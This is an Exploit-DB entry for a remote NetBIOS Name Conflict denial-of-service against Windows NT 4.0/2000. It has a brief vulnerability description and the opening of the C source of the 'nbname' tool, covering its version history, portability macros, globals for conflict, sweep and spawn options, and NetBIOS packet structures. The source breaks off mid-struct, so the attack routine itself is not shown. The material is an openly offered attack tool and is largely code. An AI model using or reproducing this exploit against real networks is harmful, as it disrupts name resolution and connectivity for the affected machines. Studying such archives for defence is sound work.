Exploit-DB #20106
Description: Microsoft Windows NT 4.0/2000 - NetBIOS Name Conflict
Type: remote
Platform: windows
Date: 2000-08-01
Author: Sir Dystic

Exploit:
source: https://www.securityfocus.com/bid/1514/info

An attacker can send the NetBIOS name service a NetBIOS Name Conflict message even when the receiving machine is not in the process of registering its NetBIOS name. The target will then not attempt to use that name in any future netwrok connection attempts. This can lead to intermittent connectivity problems, or the loss of all NetBIOS functionality. 

// nbname.cpp - decodes NetBIOS name packets (UDP 137), with some other options

// Copyright 2000 Sir Dystic of the Cult of the Dead Cow - sd@cultdeadcow.com

//

// For Win32 should be compiled with /DWIN32 /MT (use multi-threaded libraries)

// If it complains about socklen_t try adding -Dsocklen_t=int

//

//  Thanks to all the people who helped me with ideas, testing and making it work

//   under Unix, especially:

//   Optyx, FreqOut, Nyar, Netmask, T12, and many others I am too lame to remember



/*



Version history:



v1.8 - July 29, 2000

Discussed nbname at Defcon



v1.9 - August 1, 2000

Began keeping history

Added /SCAN option

Added /RETRY option

Changed /NOBOOTY option to /ALLOW and /DENY (sorry all you anal lovers)

Made commandline options case-insensitive (thanks missnglnk for being aware of 

  strcasecmp() which nobody else mentioned to me)

Added /RESPOND option





  */









#ifdef WIN32



// comment the following line to make a Winsock 1.1 compile 

#define WINSOCK2



#pragma comment(linker, "/SUBSYSTEM:CONSOLE")



#define CLOSESOCKET(x) closesocket(x)

#define GETSOCKETERROR() WSAGetLastError()

#define GETRANDSEED()  GetTickCount()

#define SLEEP(x) Sleep(x)

#define CREATETHREAD(x, y) _beginthread(x, 0, y)

#define EXITTHREAD() _endthread()

#define STRICMP(x, y) stricmp(x, y)

#define STRNICMP(x, y, z) strnicmp(x, y, z)



#include <process.h>



#ifdef WINSOCK2



#include <winsock2.h>

#include <Ws2tcpip.h>



#pragma comment(lib, "ws2_32.lib")



#else



#include <windows.h>

#include <winsock.h>

#pragma comment(lib, "wsock32.lib")



#endif



#include <time.h>

#include <io.h>



#endif





// common includes

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <ctype.h>







#ifndef WIN32



#include <sys/socket.h>

#include <sys/param.h>

#include <sys/types.h>

#include <sys/time.h>

#include <arpa/inet.h>

#include <netinet/in.h>

#include <netdb.h>

#include <unistd.h>

#include <time.h>





typedef unsigned char BYTE, *LPBYTE;

typedef unsigned short WORD, *LPWORD;

typedef unsigned long DWORD, *LPDWORD;

typedef unsigned long BOOL, *LPBOOL;

typedef int SOCKET;

typedef struct sockaddr SOCKADDR;

typedef struct sockaddr_in SOCKADDR_IN;

typedef SOCKADDR *LPSOCKADDR;

typedef SOCKADDR_IN *LPSOCKADDR_IN;

typedef struct hostent HOSTENT;

typedef HOSTENT *LPHOSTENT;

typedef unsigned long ULONG;

typedef unsigned short USHORT;

typedef long LONG;



#define GETSOCKETERROR() 0

#define GETRANDSEED() clock()

#define CLOSESOCKET(x) close(x)

#define SLEEP(x) usleep(x*1000)

#define STRICMP(x, y) strcasecmp(x, y)

#define STRNICMP(x, y, z) strncasecmp(x, y, z)



#define MAKEWORD(a, b)      ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8))

#define MAKEULONG(l, h) ((ULONG)(((USHORT)(l)) | ((ULONG)((USHORT)(h))) << 16))

#define MAKELONG(l, h)  ((LONG)MAKEULONG(l, h))



#define FALSE 0

#define TRUE 1

#define INVALID_SOCKET -1

#define SOCKET_ERROR -1



#endif





#pragma pack(1)





#define NETBIOSNAMEPORT 137

#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"



// uncomment the following line to display statistics info (windows and samba boxes seem to always set this info to 0s)

//#define STUFFTHATSUSUALLYALLZERO



BOOL g_Astat = FALSE;

BOOL g_Conflict = FALSE;

BOOL g_FindAll = FALSE;

BOOL g_Reverse = FALSE;

BOOL g_NoLocal = FALSE;

BOOL g_NoLocalNet = FALSE;



char *g_OutServsFile = NULL;

char *g_OutAllFile = NULL;

char *g_ASOutFile = NULL;

char *g_SpawnCommand = NULL;

char *g_SpawnArgs = NULL;

char *g_ScanFile = NULL;

char *g_AllowName = NULL;

char *g_DenyName = NULL;

char *g_RespondName = NULL;



DWORD g_TargetIP = INADDR_NONE;

DWORD g_LocalIP = INADDR_NONE;

DWORD g_BroadcastIP = INADDR_BROADCAST;

DWORD g_NetmaskIP = 0;

DWORD g_SweepStartIP = 0;

DWORD g_SweepEndIP = 0;



DWORD g_PacketDelay = 100;

DWORD g_ReceiveTimeout = 0;



WORD g_LocalPort = NETBIOSNAMEPORT;



int g_Retries = 3;



#define ONT_BNODE 0

#define ONT_PNODE 1

#define ONT_MNODE 2

#define ONT_HNODE 3



typedef struct 

{

	BYTE UnitID[6];				// MAC address

	BYTE Jumpers;

	BYTE TestResult;

	WORD Version;

	WORD StatsPeriod;

	WORD NumCRCs;

	WORD NumAlignmentErrors;

	WORD NumCollisions;

	WORD NumSendAborts;

	DWORD NumGoodSends;

	DWORD NumGoodRcvs;

	WORD NumRetransmits;

	WORD NumResourceConditions;

	WORD NumFreeCommandBlocks;

	WORD NumCommandBlocks;

	WORD NumMaxCommandBlocks;

	WORD NumPendingSessions;

	WORD NumMaxPendingSessions;

	WORD NumMaxTotalSessions;

	WORD SessionDataPacketSize;

} NETBIOSSTATS, *PNETBIOSSTATS;



typedef struct

{

	WORD Reserved:13;

	WORD ONT:2;			// Owner Node Type:

						//  00 = B node

                        //  01 = P node

                        //  10 = M node

                        //  11 = Reserved for future use

                        // For registration requests this is the

                        // claimant's type.

                        // For responses this is the actual owner's type.

	WORD fGroup:1;		// Group Name Flag.

						// If one (1) then the RR_NAME is a GROUP NetBIOS name.

						// If zero (0) then the RR_NAME is a UNIQUE